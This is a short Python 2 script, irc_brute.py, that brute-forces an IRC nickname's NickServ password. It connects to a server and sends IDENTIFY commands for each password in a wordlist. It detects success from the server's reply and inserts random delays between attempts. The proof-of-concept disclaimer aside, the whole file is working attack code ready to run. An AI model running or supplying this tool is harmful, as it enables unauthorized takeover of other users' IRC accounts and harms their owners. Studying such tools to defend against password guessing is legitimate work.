#!/usr/bin/env python
# irc_brute.py
# This script is (c) Jan Dlabal, http://houbysoft.com
# Comments, mods, etc. are welcome @ dlabaljan [ ( at ) ] gmail (guess what) com
# You can share this under the terms of the GNU GPL v3 License



import sys,socket,string
import time,random



waitfor = [1,2,3]



def irc_brute(host,port,nick,wordlist):
  s=socket.socket()
  s.connect((host,port))
  print "[+] Initializing connection..."
  for i in range(0,3):
    s.recv(1024)
  s.send("NICK %s\r\n" % nick)
  s.send("USER %s %s bla :%s\r\n" % (nick, host, nick))
  w = open(wordlist,"r")
  str = w.readline()
  fail = True
  while fail:
    r = s.recv(1024)
    if r.lower().find("/msg nickserv identify")!=-1:
      fail = False
      print "[+] Connected!"
  fail = True
  while str and fail:
    if str[-1] == "\n":
      str = str[:-1]
    print "[~] Testing : "+str,
    s.send("PRIVMSG NickServ :IDENTIFY %s\r\n" % (str))
    tmp=True
    r=s.recv(1024)
    while tmp:
      if r.lower().find("you are now identified")!=-1:
        print "... WORKS!"
        print "[+] Success"
        fail = False 
	tmp = False
      else:
        if r.lower().find("invalid password")==-1:
          print "\n[-] Bad response : "+r+", retrying."
	  r=s.recv(1024)
        else:
	  print "... failed"
	  tmp = False
    str = w.readline()
    time.sleep(random.choice(waitfor))
  w.close()
  print "[-] Exiting"


print "[-] Welcome to irc_brute.py."
print "[-] This script is available under the GNU GPL v3 License."
print "[-] (c) Jan Dlabal, http://houbysoft.com"
print "[-] THIS SCRIPT IS A PROOF-OF-CONCEPT, ANY ILLEGAL USAGE IS PROHIBITED."
if len(sys.argv) != 5:
  print ""
  print "[+] Usage : ./irc_brute.py SERVER PORT NICK WORDLIST"
  print "	SERVER : Server on which to try bruteforce"
  print "	PORT   : Port on which to connect to SERVER (try 6667)"
  print "	NICK   : Nickname to bruteforce"
  print "	WORDLIST:File with one password to be tested per line"
  quit()
else:
  irc_brute(sys.argv[1],int(sys.argv[2]),sys.argv[3],sys.argv[4])
